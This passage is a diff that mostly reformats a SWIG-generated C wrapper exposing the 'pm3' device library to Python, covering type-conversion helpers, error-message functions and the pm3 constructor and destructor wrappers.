Py_DECREF(SWIG_Python_TypeCache()); - Swig_TypeCache_global = NULL; - Swig_Capsule_global = NULL; + Py_DECREF(SWIG_This()); + Swig_This_global = NULL; + Py_DECREF(SWIG_globals()); + Swig_Globals_global = NULL; + Py_DECREF(SWIG_Python_TypeCache()); + Swig_TypeCache_global = NULL; + Swig_Capsule_global = NULL; } SWIGRUNTIME void SWIG_Python_SetModule(swig_module_info *swig_module) { #if PY_VERSION_HEX >= 0x03000000 - /* Add a dummy module object into sys.modules */ - PyObject *module = PyImport_AddModule("swig_runtime_data" SWIG_RUNTIME_VERSION); + /* Add a dummy module object into sys.modules */ + PyObject *module = PyImport_AddModule("swig_runtime_data" SWIG_RUNTIME_VERSION); #else - static PyMethodDef swig_empty_runtime_method_table[] = { {NULL, NULL, 0, NULL} }; /* Sentinel */ - PyObject *module = Py_InitModule("swig_runtime_data" SWIG_RUNTIME_VERSION, swig_empty_runtime_method_table); + static PyMethodDef swig_empty_runtime_method_table[] = { {NULL, NULL, 0, NULL} }; /* Sentinel */ + PyObject *module = Py_InitModule("swig_runtime_data" SWIG_RUNTIME_VERSION, swig_empty_runtime_method_table); #endif - PyObject *pointer = PyCapsule_New((void *) swig_module, SWIGPY_CAPSULE_NAME, SWIG_Python_DestroyModule); - if (pointer && module) { - if (PyModule_AddObject(module, SWIGPY_CAPSULE_ATTR_NAME, pointer) == 0) { - ++interpreter_counter; - Swig_Capsule_global = pointer; + PyObject *pointer = PyCapsule_New((void *) swig_module, SWIGPY_CAPSULE_NAME, SWIG_Python_DestroyModule); + if (pointer && module) { + if (PyModule_AddObject(module, SWIGPY_CAPSULE_ATTR_NAME, pointer) == 0) { + ++interpreter_counter; + Swig_Capsule_global = pointer; + } else { + Py_DECREF(pointer); + } } else { - Py_DECREF(pointer); + Py_XDECREF(pointer); } - } else { - Py_XDECREF(pointer); - } } SWIGRUNTIME swig_type_info * -SWIG_Python_TypeQuery(const char *type) -{ - PyObject *cache = SWIG_Python_TypeCache(); - PyObject *key = SWIG_Python_str_FromChar(type); - PyObject *obj = PyDict_GetItem(cache, key); - swig_type_info *descriptor; - if (obj) { - descriptor = (swig_type_info *) PyCapsule_GetPointer(obj, NULL); - } else { - swig_module_info *swig_module = SWIG_GetModule(0); - descriptor = SWIG_TypeQueryModule(swig_module, swig_module, type); - if (descriptor) { - obj = PyCapsule_New((void*) descriptor, NULL, NULL); - if (obj) { - PyDict_SetItem(cache, key, obj); - Py_DECREF(obj); - } +SWIG_Python_TypeQuery(const char *type) { + PyObject *cache = SWIG_Python_TypeCache(); + PyObject *key = SWIG_Python_str_FromChar(type); + PyObject *obj = PyDict_GetItem(cache, key); + swig_type_info *descriptor; + if (obj) { + descriptor = (swig_type_info *) PyCapsule_GetPointer(obj, NULL); + } else { + swig_module_info *swig_module = SWIG_GetModule(0); + descriptor = SWIG_TypeQueryModule(swig_module, swig_module, type); + if (descriptor) { + obj = PyCapsule_New((void *) descriptor, NULL, NULL); + if (obj) { + PyDict_SetItem(cache, key, obj); + Py_DECREF(obj); + } + } } - } - Py_DECREF(key); - return descriptor; + Py_DECREF(key); + return descriptor; } -/* +/* For backward compatibility only */ #define SWIG_POINTER_EXCEPTION 0 @@ -2984,159 +2945,155 @@ SWIG_Python_TypeQuery(const char *type) #define SWIG_MustGetPtr(p, type, argnum, flags) SWIG_Python_MustGetPtr(p, type, argnum, flags) SWIGRUNTIME int -SWIG_Python_AddErrMesg(const char* mesg, int infront) -{ - if (PyErr_Occurred()) { - PyObject *type = 0; - PyObject *value = 0; - PyObject *traceback = 0; - PyErr_Fetch(&type, &value, &traceback); - if (value) { - PyObject *old_str = PyObject_Str(value); - PyObject *bytes = NULL; - const char *tmp = SWIG_PyUnicode_AsUTF8AndSize(old_str, NULL, &bytes); - const char *errmesg = tmp ? tmp : "Invalid error message"; - Py_XINCREF(type); - PyErr_Clear(); - if (infront) { - PyErr_Format(type, "%s %s", mesg, errmesg); - } else { - PyErr_Format(type, "%s %s", errmesg, mesg); - } - Py_XDECREF(bytes); - Py_DECREF(old_str); +SWIG_Python_AddErrMesg(const char *mesg, int infront) { + if (PyErr_Occurred()) { + PyObject *type = 0; + PyObject *value = 0; + PyObject *traceback = 0; + PyErr_Fetch(&type, &value, &traceback); + if (value) { + PyObject *old_str = PyObject_Str(value); + PyObject *bytes = NULL; + const char *tmp = SWIG_PyUnicode_AsUTF8AndSize(old_str, NULL, &bytes); + const char *errmesg = tmp ? tmp : "Invalid error message"; + Py_XINCREF(type); + PyErr_Clear(); + if (infront) { + PyErr_Format(type, "%s %s", mesg, errmesg); + } else { + PyErr_Format(type, "%s %s", errmesg, mesg); + } + Py_XDECREF(bytes); + Py_DECREF(old_str); + } + return 1; + } else { + return 0; } - return 1; - } else { - return 0; - } } - + SWIGRUNTIME int -SWIG_Python_ArgFail(int argnum) -{ - if (PyErr_Occurred()) { - /* add information about failing argument */ - char mesg[256]; - PyOS_snprintf(mesg, sizeof(mesg), "argument number %d:", argnum); - return SWIG_Python_AddErrMesg(mesg, 1); - } else { - return 0; - } +SWIG_Python_ArgFail(int argnum) { + if (PyErr_Occurred()) { + /* add information about failing argument */ + char mesg[256]; + PyOS_snprintf(mesg, sizeof(mesg), "argument number %d:", argnum); + return SWIG_Python_AddErrMesg(mesg, 1); + } else { + return 0; + } } SWIGRUNTIMEINLINE const char * -SwigPyObject_GetDesc(PyObject *self) -{ - SwigPyObject *v = (SwigPyObject *)self; - swig_type_info *ty = v ? v->ty : 0; - return ty ? ty->str : ""; +SwigPyObject_GetDesc(PyObject *self) { + SwigPyObject *v = (SwigPyObject *)self; + swig_type_info *ty = v ? v->ty : 0; + return ty ? ty->str : ""; } SWIGRUNTIME void -SWIG_Python_TypeError(const char *type, PyObject *obj) -{ - if (type) { +SWIG_Python_TypeError(const char *type, PyObject *obj) { + if (type) { #if defined(SWIG_COBJECT_TYPES) - if (obj && SwigPyObject_Check(obj)) { - const char *otype = (const char *) SwigPyObject_GetDesc(obj); - if (otype) { - PyErr_Format(PyExc_TypeError, "a '%s' is expected, 'SwigPyObject(%s)' is received", - type, otype); - return; - } - } else -#endif - { -#ifndef Py_LIMITED_API - /* tp_name is not accessible */ - const char *otype = (obj ? obj->ob_type->tp_name : 0); - if (otype) { - PyObject *str = PyObject_Str(obj); - PyObject *bytes = NULL; - const char *cstr = str ? SWIG_PyUnicode_AsUTF8AndSize(str, NULL, &bytes) : 0; - if (cstr) { - PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s(%s)' is received", - type, otype, cstr); - } else { - PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s' is received", - type, otype); - } - Py_XDECREF(bytes); - Py_XDECREF(str); - return; - } + if (obj && SwigPyObject_Check(obj)) { + const char *otype = (const char *) SwigPyObject_GetDesc(obj); + if (otype) { + PyErr_Format(PyExc_TypeError, "a '%s' is expected, 'SwigPyObject(%s)' is received", + type, otype); + return; + } + } else #endif - } - PyErr_Format(PyExc_TypeError, "a '%s' is expected", type); - } else { - PyErr_Format(PyExc_TypeError, "unexpected type is received"); - } + { +#ifndef Py_LIMITED_API + /* tp_name is not accessible */ + const char *otype = (obj ? obj->ob_type->tp_name : 0); + if (otype) { + PyObject *str = PyObject_Str(obj); + PyObject *bytes = NULL; + const char *cstr = str ? SWIG_PyUnicode_AsUTF8AndSize(str, NULL, &bytes) : 0; + if (cstr) { + PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s(%s)' is received", + type, otype, cstr); + } else { + PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s' is received", + type, otype); + } + Py_XDECREF(bytes); + Py_XDECREF(str); + return; + } +#endif + } + PyErr_Format(PyExc_TypeError, "a '%s' is expected", type); + } else { + PyErr_Format(PyExc_TypeError, "unexpected type is received"); + } } /* Convert a pointer value, signal an exception on a type mismatch */ SWIGRUNTIME void * SWIG_Python_MustGetPtr(PyObject *obj, swig_type_info *ty, int SWIGUNUSEDPARM(argnum), int flags) { - void *result; - if (SWIG_Python_ConvertPtr(obj, &result, ty, flags) == -1) { - PyErr_Clear(); - } - return result; + void *result; + if (SWIG_Python_ConvertPtr(obj, &result, ty, flags) == -1) { + PyErr_Clear(); + } + return result; } #ifdef SWIGPYTHON_BUILTIN SWIGRUNTIME int SWIG_Python_NonDynamicSetAttr(PyObject *obj, PyObject *name, PyObject *value) { - PyTypeObject *tp = obj->ob_type; - PyObject *descr; - PyObject *encoded_name; - descrsetfunc f; - int res = -1; + PyTypeObject *tp = obj->ob_type; + PyObject *descr; + PyObject *encoded_name; + descrsetfunc f; + int res = -1; # ifdef Py_USING_UNICODE - if (PyString_Check(name)) { - name = PyUnicode_Decode(PyString_AsString(name), PyString_Size(name), NULL, NULL); - if (!name) - return -1; - } else if (!PyUnicode_Check(name)) -# else - if (!PyString_Check(name)) -# endif - { - PyErr_Format(PyExc_TypeError, "attribute name must be string, not '%.200s'", name->ob_type->tp_name); - return -1; - } else { - Py_INCREF(name); - } - - if (!tp->tp_dict) { - if (PyType_Ready(tp) != 0) - goto done; - } - - descr = _PyType_Lookup(tp, name); - f = NULL; - if (descr != NULL) - f = descr->ob_type->tp_descr_set; - if (!f) { if (PyString_Check(name)) { - encoded_name = name; - Py_INCREF(name); + name = PyUnicode_Decode(PyString_AsString(name), PyString_Size(name), NULL, NULL); + if (!name) + return -1; + } else if (!PyUnicode_Check(name)) +# else + if (!PyString_Check(name)) +# endif + { + PyErr_Format(PyExc_TypeError, "attribute name must be string, not '%.200s'", name->ob_type->tp_name); + return -1; } else { - encoded_name = PyUnicode_AsUTF8String(name); - if (!encoded_name) - goto done; + Py_INCREF(name); } - PyErr_Format(PyExc_AttributeError, "'%.100s' object has no attribute '%.200s'", tp->tp_name, PyString_AsString(encoded_name)); - Py_DECREF(encoded_name); - } else { - res = f(descr, obj, value); - } - - done: - Py_DECREF(name); - return res; + + if (!tp->tp_dict) { + if (PyType_Ready(tp) != 0) + goto done; + } + + descr = _PyType_Lookup(tp, name); + f = NULL; + if (descr != NULL) + f = descr->ob_type->tp_descr_set; + if (!f) { + if (PyString_Check(name)) { + encoded_name = name; + Py_INCREF(name); + } else { + encoded_name = PyUnicode_AsUTF8String(name); + if (!encoded_name) + goto done; + } + PyErr_Format(PyExc_AttributeError, "'%.100s' object has no attribute '%.200s'", tp->tp_name, PyString_AsString(encoded_name)); + Py_DECREF(encoded_name); + } else { + res = f(descr, obj, value); + } + +done: + Py_DECREF(name); + return res; } #endif @@ -3147,9 +3104,9 @@ SWIG_Python_NonDynamicSetAttr(PyObject *obj, PyObject *name, PyObject *value) { -#define SWIG_exception_fail(code, msg) do { SWIG_Error(code, msg); SWIG_fail; } while(0) +#define SWIG_exception_fail(code, msg) do { SWIG_Error(code, msg); SWIG_fail; } while(0) -#define SWIG_contract_assert(expr, msg) do { if (!(expr)) { SWIG_Error(SWIG_RuntimeError, msg); SWIG_fail; } } while (0) +#define SWIG_contract_assert(expr, msg) do { if (!(expr)) { SWIG_Error(SWIG_RuntimeError, msg); SWIG_fail; } } while (0) @@ -3181,181 +3138,180 @@ static swig_module_info swig_module = {swig_types, 2, 0, 0, 0, 0}; #endif #define SWIG_name "_pm3" -#define SWIG_as_voidptr(a) (void *)((const void *)(a)) -#define SWIG_as_voidptrptr(a) ((void)SWIG_as_voidptr(*a),(void**)(a)) +#define SWIG_as_voidptr(a) (void *)((const void *)(a)) +#define SWIG_as_voidptrptr(a) ((void)SWIG_as_voidptr(*a),(void**)(a)) /* Include the header in the wrapper code */ #include "pm3.h" #include "comms.h" -SWIGINTERN pm3 *new_pm3__SWIG_0(void){ +SWIGINTERN pm3 *new_pm3__SWIG_0(void) { // printf("SWIG pm3 constructor, get current pm3\n"); - pm3_device_t * p = pm3_get_current_dev(); - p->script_embedded = 1; - return p; - } + pm3_device_t *p = pm3_get_current_dev(); + p->script_embedded = 1; + return p; +} -SWIGINTERN swig_type_info* -SWIG_pchar_descriptor(void) -{ - static int init = 0; - static swig_type_info* info = 0; - if (!init) { - info = SWIG_TypeQuery("_p_char"); - init = 1; - } - return info; +SWIGINTERN swig_type_info * +SWIG_pchar_descriptor(void) { + static int init = 0; + static swig_type_info *info = 0; + if (!init) { + info = SWIG_TypeQuery("_p_char"); + init = 1; + } + return info; } /* Return string from Python obj. NOTE: obj must remain in scope in order to use the returned cptr (but only when alloc is set to SWIG_OLDOBJ) */ SWIGINTERN int -SWIG_AsCharPtrAndSize(PyObject *obj, char **cptr, size_t *psize, int *alloc) -{ +SWIG_AsCharPtrAndSize(PyObject *obj, char **cptr, size_t *psize, int *alloc) { #if PY_VERSION_HEX>=0x03000000 #if defined(SWIG_PYTHON_STRICT_BYTE_CHAR) - if (PyBytes_Check(obj)) + if (PyBytes_Check(obj)) #else - if (PyUnicode_Check(obj)) + if (PyUnicode_Check(obj)) #endif -#else - if (PyString_Check(obj)) +#else + if (PyString_Check(obj)) #endif - { - char *cstr; Py_ssize_t len; - PyObject *bytes = NULL; - int ret = SWIG_OK; - if (alloc) - *alloc = SWIG_OLDOBJ; + { + char *cstr; + Py_ssize_t len; + PyObject *bytes = NULL; + int ret = SWIG_OK; + if (alloc) + *alloc = SWIG_OLDOBJ; #if PY_VERSION_HEX>=0x03000000 && defined(SWIG_PYTHON_STRICT_BYTE_CHAR) - if (PyBytes_AsStringAndSize(obj, &cstr, &len) == -1) - return SWIG_TypeError; + if (PyBytes_AsStringAndSize(obj, &cstr, &len) == -1) + return SWIG_TypeError; #else - cstr = (char *)SWIG_PyUnicode_AsUTF8AndSize(obj, &len, &bytes); - if (!cstr) - return SWIG_TypeError; - /* The returned string is only duplicated if the char * returned is not owned and memory managed by obj */ - if (bytes && cptr) { - if (alloc) { - cstr = (char *)memcpy(malloc((len + 1)*sizeof(char)), cstr, sizeof(char)*(len + 1)); - *alloc = SWIG_NEWOBJ; - } else { - /* alloc must be set in order to clean up allocated memory */ - return SWIG_RuntimeError; - } - } + cstr = (char *)SWIG_PyUnicode_AsUTF8AndSize(obj, &len, &bytes); + if (!cstr) + return SWIG_TypeError; + /* The returned string is only duplicated if the char * returned is not owned and memory managed by obj */ + if (bytes && cptr) { + if (alloc) { + cstr = (char *)memcpy(malloc((len + 1) * sizeof(char)), cstr, sizeof(char) * (len + 1)); + *alloc = SWIG_NEWOBJ; + } else { + /* alloc must be set in order to clean up allocated memory */ + return SWIG_RuntimeError; + } + } #endif - if (cptr) *cptr = cstr; - if (psize) *psize = len + 1; - Py_XDECREF(bytes); - return ret; - } else { + if (cptr) *cptr = cstr; + if (psize) *psize = len + 1; + Py_XDECREF(bytes); + return ret; + } else { #if defined(SWIG_PYTHON_2_UNICODE) #if defined(SWIG_PYTHON_STRICT_BYTE_CHAR) #error "Cannot use both SWIG_PYTHON_2_UNICODE and SWIG_PYTHON_STRICT_BYTE_CHAR at once" #endif #if PY_VERSION_HEX<0x03000000 - if (PyUnicode_Check(obj)) { - char *cstr; Py_ssize_t len; - if (!alloc && cptr) { - return SWIG_RuntimeError; - } - obj = PyUnicode_AsUTF8String(obj); - if (!obj) - return SWIG_TypeError; - if (PyString_AsStringAndSize(obj, &cstr, &len) != -1) { - if (cptr) { - if (alloc) *alloc = SWIG_NEWOBJ; - *cptr = (char *)memcpy(malloc((len + 1)*sizeof(char)), cstr, sizeof(char)*(len + 1)); + if (PyUnicode_Check(obj)) { + char *cstr; + Py_ssize_t len; + if (!alloc && cptr) { + return SWIG_RuntimeError; + } + obj = PyUnicode_AsUTF8String(obj); + if (!obj) + return SWIG_TypeError; + if (PyString_AsStringAndSize(obj, &cstr, &len) != -1) { + if (cptr) { + if (alloc) *alloc = SWIG_NEWOBJ; + *cptr = (char *)memcpy(malloc((len + 1) * sizeof(char)), cstr, sizeof(char) * (len + 1)); + } + if (psize) *psize = len + 1; + + Py_XDECREF(obj); + return SWIG_OK; + } else { + Py_XDECREF(obj); + } } - if (psize) *psize = len + 1; - - Py_XDECREF(obj); - return SWIG_OK; - } else { - Py_XDECREF(obj); - } - } #endif #endif - swig_type_info* pchar_descriptor = SWIG_pchar_descriptor(); - if (pchar_descriptor) { - void* vptr = 0; - if (SWIG_ConvertPtr(obj, &vptr, pchar_descriptor, 0) == SWIG_OK) { - if (cptr) *cptr = (char *) vptr; - if (psize) *psize = vptr ? (strlen((char *)vptr) + 1) : 0; - if (alloc) *alloc = SWIG_OLDOBJ; - return SWIG_OK; - } + swig_type_info *pchar_descriptor = SWIG_pchar_descriptor(); + if (pchar_descriptor) { + void *vptr = 0; + if (SWIG_ConvertPtr(obj, &vptr, pchar_descriptor, 0) == SWIG_OK) { + if (cptr) *cptr = (char *) vptr; + if (psize) *psize = vptr ? (strlen((char *)vptr) + 1) : 0; + if (alloc) *alloc = SWIG_OLDOBJ; + return SWIG_OK; + } + } } - } - return SWIG_TypeError; + return SWIG_TypeError; } -SWIGINTERN pm3 *new_pm3__SWIG_1(char *port){ +SWIGINTERN pm3 *new_pm3__SWIG_1(char *port) { // printf("SWIG pm3 constructor with port, open pm3\n"); - pm3_device_t * p = pm3_open(port); - p->script_embedded = 0; - return p; - } -SWIGINTERN void delete_pm3(pm3 *self){ - if (self->script_embedded) { + pm3_device_t *p = pm3_open(port); + p->script_embedded = 0; + return p; +} +SWIGINTERN void delete_pm3(pm3 *self) { + if (self->script_embedded) { // printf("SWIG pm3 destructor, nothing to do\n"); - } else { + } else { // printf("SWIG pm3 destructor, close pm3\n"); - pm3_close(self); - } - } + pm3_close(self); + } +} SWIGINTERN int -SWIG_AsVal_double (PyObject *obj, double *val) -{ - int res = SWIG_TypeError; - if (PyFloat_Check(obj)) { - if (val) *val = PyFloat_AsDouble(obj); - return SWIG_OK; +SWIG_AsVal_double(PyObject *obj, double *val) { + int res = SWIG_TypeError; + if (PyFloat_Check(obj)) { + if (val) *val = PyFloat_AsDouble(obj); + return SWIG_OK; #if PY_VERSION_HEX < 0x03000000 - } else if (PyInt_Check(obj)) { - if (val) *val = (double) PyInt_AsLong(obj); - return SWIG_OK; + } else if (PyInt_Check(obj)) { + if (val) *val = (double) PyInt_AsLong(obj); + return SWIG_OK; #endif - } else if (PyLong_Check(obj)) { - double v = PyLong_AsDouble(obj); - if (!PyErr_Occurred()) { - if (val) *val = v; - return SWIG_OK; - } else { - PyErr_Clear(); + } else if (PyLong_Check(obj)) { + double v = PyLong_AsDouble(obj); + if (!PyErr_Occurred()) { + if (val) *val = v; + return SWIG_OK; + } else { + PyErr_Clear(); + } } - } #ifdef SWIG_PYTHON_CAST_MODE - { - int dispatch = 0; - double d = PyFloat_AsDouble(obj); - if (!PyErr_Occurred()) { - if (val) *val = d; - return SWIG_AddCast(SWIG_OK); - } else { - PyErr_Clear(); + { + int dispatch = 0; + double d = PyFloat_AsDouble(obj); + if (!PyErr_Occurred()) { + if (val) *val = d; + return SWIG_AddCast(SWIG_OK); + } else { + PyErr_Clear(); + } + if (!dispatch) { + long v = PyLong_AsLong(obj); + if (!PyErr_Occurred()) { + if (val) *val = v; + return SWIG_AddCast(SWIG_AddCast(SWIG_OK)); + } else { + PyErr_Clear(); + } + } } - if (!dispatch) { - long v = PyLong_AsLong(obj); - if (!PyErr_Occurred()) { - if (val) *val = v; - return SWIG_AddCast(SWIG_AddCast(SWIG_OK)); - } else { - PyErr_Clear(); - } - } - } #endif - return res; + return res; } @@ -3367,378 +3323,374 @@ SWIG_AsVal_double (PyObject *obj, double *val) SWIGINTERNINLINE int SWIG_CanCastAsInteger(double *d, double min, double max) { - double x = *d; - if ((min <= x && x <= max)) { - double fx, cx, rd; - errno = 0; - fx = floor(x); - cx = ceil(x); - rd = ((x - fx) < 0.5) ? fx : cx; /* simple rint */ - if ((errno == EDOM) || (errno == ERANGE)) { - errno = 0; - } else { - double summ, reps, diff; - if (rd < x) { - diff = x - rd; - } else if (rd > x) { - diff = rd - x; - } else { - return 1; - } - summ = rd + x; - reps = diff/summ; - if (reps < 8*DBL_EPSILON) { - *d = rd; - return 1; - } - } - } - return 0; + double x = *d; + if ((min <= x && x <= max)) { + double fx, cx, rd; + errno = 0; + fx = floor(x); + cx = ceil(x); + rd = ((x - fx) < 0.5) ? fx : cx; /* simple rint */ + if ((errno == EDOM) || (errno == ERANGE)) { + errno = 0; + } else { + double summ, reps, diff; + if (rd < x) { + diff = x - rd; + } else if (rd > x) { + diff = rd - x; + } else { + return 1; + } + summ = rd + x; + reps = diff / summ; + if (reps < 8 * DBL_EPSILON) { + *d = rd; + return 1; + } + } + } + return 0; } SWIGINTERN int -SWIG_AsVal_long (PyObject *obj, long* val) -{ +SWIG_AsVal_long(PyObject *obj, long *val) { #if PY_VERSION_HEX < 0x03000000 - if (PyInt_Check(obj)) { - if (val) *val = PyInt_AsLong(obj); - return SWIG_OK; - } else + if (PyInt_Check(obj)) { + if (val) *val = PyInt_AsLong(obj); + return SWIG_OK; + } else #endif - if (PyLong_Check(obj)) { - long v = PyLong_AsLong(obj); - if (!PyErr_Occurred()) { - if (val) *val = v; - return SWIG_OK; - } else { - PyErr_Clear(); - return SWIG_OverflowError; - } - } + if (PyLong_Check(obj)) { + long v = PyLong_AsLong(obj); + if (!PyErr_Occurred()) { + if (val) *val = v; + return SWIG_OK; + } else { + PyErr_Clear(); + return SWIG_OverflowError; + } + } #ifdef SWIG_PYTHON_CAST_MODE - { - int dispatch = 0; - long v = PyInt_AsLong(obj); - if (!PyErr_Occurred()) { - if (val) *val = v; - return SWIG_AddCast(SWIG_OK); - } else { - PyErr_Clear(); + { + int dispatch = 0; + long v = PyInt_AsLong(obj); + if (!PyErr_Occurred()) { + if (val) *val = v; + return SWIG_AddCast(SWIG_OK); + } else { + PyErr_Clear(); + } + if (!dispatch) { + double d; + int res = SWIG_AddCast(SWIG_AsVal_double(obj, &d)); + // Largest double not larger than LONG_MAX (not portably calculated easily) + // Note that double(LONG_MAX) is stored in a double rounded up by one (for 64-bit long) + // 0x7ffffffffffffc00LL == (int64_t)std::nextafter(double(__uint128_t(LONG_MAX)+1), double(0)) + const double long_max = sizeof(long) == 8 ? 0x7ffffffffffffc00LL : LONG_MAX; + // No equivalent needed for 64-bit double(LONG_MIN) is exactly LONG_MIN + if (SWIG_IsOK(res) && SWIG_CanCastAsInteger(&d, LONG_MIN, long_max)) { + if (val) *val = (long)(d); + return res; + } + } } - if (!dispatch) { - double d; - int res = SWIG_AddCast(SWIG_AsVal_double (obj,&d)); - // Largest double not larger than LONG_MAX (not portably calculated easily) - // Note that double(LONG_MAX) is stored in a double rounded up by one (for 64-bit long) - // 0x7ffffffffffffc00LL == (int64_t)std::nextafter(double(__uint128_t(LONG_MAX)+1), double(0)) - const double long_max = sizeof(long) == 8 ? 0x7ffffffffffffc00LL : LONG_MAX; - // No equivalent needed for 64-bit double(LONG_MIN) is exactly LONG_MIN - if (SWIG_IsOK(res) && SWIG_CanCastAsInteger(&d, LONG_MIN, long_max)) { - if (val) *val = (long)(d); - return res; - } - } - } #endif - return SWIG_TypeError; + return SWIG_TypeError; } SWIGINTERN int -SWIG_AsVal_bool (PyObject *obj, bool *val) -{ - int r; - if (!PyBool_Check(obj)) - return SWIG_ERROR; - r = PyObject_IsTrue(obj); - if (r == -1) - return SWIG_ERROR; - if (val) *val = r ? true : false; - return SWIG_OK; -} - - -SWIGINTERNINLINE PyObject* - SWIG_From_int (int value) -{ - return PyInt_FromLong((long) value); +SWIG_AsVal_bool(PyObject *obj, bool *val) { + int r; + if (!PyBool_Check(obj)) + return SWIG_ERROR; + r = PyObject_IsTrue(obj); + if (r == -1) + return SWIG_ERROR; + if (val) *val = r ? true : false; + return SWIG_OK; } SWIGINTERNINLINE PyObject * -SWIG_FromCharPtrAndSize(const char* carray, size_t size) -{ - if (carray) { - if (size > INT_MAX) { - swig_type_info* pchar_descriptor = SWIG_pchar_descriptor(); - return pchar_descriptor ? - SWIG_InternalNewPointerObj((char *)(carray), pchar_descriptor, 0) : SWIG_Py_Void(); - } else { -#if PY_VERSION_HEX >= 0x03000000 -#if defined(SWIG_PYTHON_STRICT_BYTE_CHAR) - return PyBytes_FromStringAndSize(carray, (Py_ssize_t)(size)); -#else - return PyUnicode_DecodeUTF8(carray, (Py_ssize_t)(size), "surrogateescape"); -#endif -#else - return PyString_FromStringAndSize(carray, (Py_ssize_t)(size)); -#endif - } - } else { - return SWIG_Py_Void(); - } +SWIG_From_int(int value) { + return PyInt_FromLong((long) value); } -SWIGINTERNINLINE PyObject * -SWIG_FromCharPtr(const char *cptr) -{ - return SWIG_FromCharPtrAndSize(cptr, (cptr ? strlen(cptr) : 0)); +SWIGINTERNINLINE PyObject * +SWIG_FromCharPtrAndSize(const char *carray, size_t size) { + if (carray) { + if (size > INT_MAX) { + swig_type_info *pchar_descriptor = SWIG_pchar_descriptor(); + return pchar_descriptor ? + SWIG_InternalNewPointerObj((char *)(carray), pchar_descriptor, 0) : SWIG_Py_Void(); + } else { +#if PY_VERSION_HEX >= 0x03000000 +#if defined(SWIG_PYTHON_STRICT_BYTE_CHAR) + return PyBytes_FromStringAndSize(carray, (Py_ssize_t)(size)); +#else + return PyUnicode_DecodeUTF8(carray, (Py_ssize_t)(size), "surrogateescape"); +#endif +#else + return PyString_FromStringAndSize(carray, (Py_ssize_t)(size)); +#endif + } + } else { + return SWIG_Py_Void(); + } +} + + +SWIGINTERNINLINE PyObject * +SWIG_FromCharPtr(const char *cptr) { + return SWIG_FromCharPtrAndSize(cptr, (cptr ? strlen(cptr) : 0)); } #ifdef __cplusplus extern "C" { #endif SWIGINTERN PyObject *_wrap_new_pm3__SWIG_0(PyObject *self, Py_ssize_t nobjs, PyObject **SWIGUNUSEDPARM(swig_obj)) { - PyObject *resultobj = 0; - pm3 *result = 0 ; - - (void)self; - if ((nobjs < 0) || (nobjs > 0)) SWIG_fail; - result = (pm3 *)new_pm3__SWIG_0(); - resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_pm3, SWIG_POINTER_NEW | 0 ); - return resultobj; + PyObject *resultobj = 0; + pm3 *result = 0 ; + + (void)self; + if ((nobjs < 0) || (nobjs > 0)) SWIG_fail; + result = (pm3 *)new_pm3__SWIG_0(); + resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_pm3, SWIG_POINTER_NEW | 0); + return resultobj; fail: - return NULL; + return NULL; } SWIGINTERN PyObject *_wrap_new_pm3__SWIG_1(PyObject *self, Py_ssize_t nobjs, PyObject **swig_obj) { - PyObject *resultobj = 0; - char *arg1 = (char *) 0 ; - int res1 ; - char *buf1 = 0 ; - int alloc1 = 0 ; - pm3 *result = 0 ; - - (void)self; - if ((nobjs < 1) || (nobjs > 1)) SWIG_fail; - res1 = SWIG_AsCharPtrAndSize(swig_obj[0], &buf1, NULL, &alloc1); - if (!SWIG_IsOK(res1)) { - SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_pm3" "', argument " "1"" of type '" "char *""'"); - } - arg1 = (char *)(buf1); - result = (pm3 *)new_pm3__SWIG_1(arg1); - resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_pm3, SWIG_POINTER_NEW | 0 ); - if (alloc1 == SWIG_NEWOBJ) free((char*)buf1); - return resultobj; + PyObject *resultobj = 0; + char *arg1 = (char *) 0 ; + int res1 ; + char *buf1 = 0 ; + int alloc1 = 0 ; + pm3 *result = 0 ; + + (void)self; + if ((nobjs < 1) || (nobjs > 1)) SWIG_fail; + res1 = SWIG_AsCharPtrAndSize(swig_obj[0], &buf1, NULL, &alloc1); + if (!SWIG_IsOK(res1)) { + SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_pm3" "', argument " "1"" of type '" "char *""'"); + } + arg1 = (char *)(buf1); + result = (pm3 *)new_pm3__SWIG_1(arg1); + resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_pm3, SWIG_POINTER_NEW | 0); + if (alloc1 == SWIG_NEWOBJ) free((char *)buf1); + return resultobj; fail: - if (alloc1 == SWIG_NEWOBJ) free((char*)buf1); - return NULL; + if (alloc1 == SWIG_NEWOBJ) free((char *)buf1); + return NULL; } SWIGINTERN PyObject *_wrap_new_pm3(PyObject *self, PyObject *args) { - Py_ssize_t argc; - PyObject *argv[2] = { - 0 - }; - - if (!(argc = SWIG_Python_UnpackTuple(args, "new_pm3", 0, 1, argv))) SWIG_fail; - --argc; - if (argc == 0) { - return _wrap_new_pm3__SWIG_0(self, argc, argv); - } - if (argc == 1) { - int _v = 0; - int res = SWIG_AsCharPtrAndSize(argv[0], 0, NULL, 0); - _v = SWIG_CheckState(res); - if (_v) { - return _wrap_new_pm3__SWIG_1(self, argc, argv); + Py_ssize_t argc; + PyObject *argv[2] = { + 0 + }; + + if (!(argc = SWIG_Python_UnpackTuple(args, "new_pm3", 0, 1, argv))) SWIG_fail; + --argc; + if (argc == 0) { + return _wrap_new_pm3__SWIG_0(self, argc, argv); } - } - + if (argc == 1) { + int _v = 0; + int res = SWIG_AsCharPtrAndSize(argv[0], 0, NULL, 0); + _v = SWIG_CheckState(res); + if (_v) { + return _wrap_new_pm3__SWIG_1(self, argc, argv); + } + } + fail: - SWIG_Python_RaiseOrModifyTypeError("Wrong number or type of arguments for overloaded function 'new_pm3'.\n" - " Possible C/C++ prototypes are:\n" - " pm3::pm3()\n" - " pm3::pm3(char *)\n"); - return 0; + SWIG_Python_RaiseOrModifyTypeError("Wrong number or type of arguments for overloaded function 'new_pm3'.\n" + " Possible C/C++ prototypes are:\n" + " pm3::pm3()\n" + " pm3::pm3(char *)\n"); + return 0; } SWIGINTERN PyObject *_wrap_delete_pm3(PyObject *self, PyObject *args) { - PyObject *resultobj = 0; - pm3 *arg1 = (pm3 *) 0 ; - void *argp1 = 0 ; - int res1 = 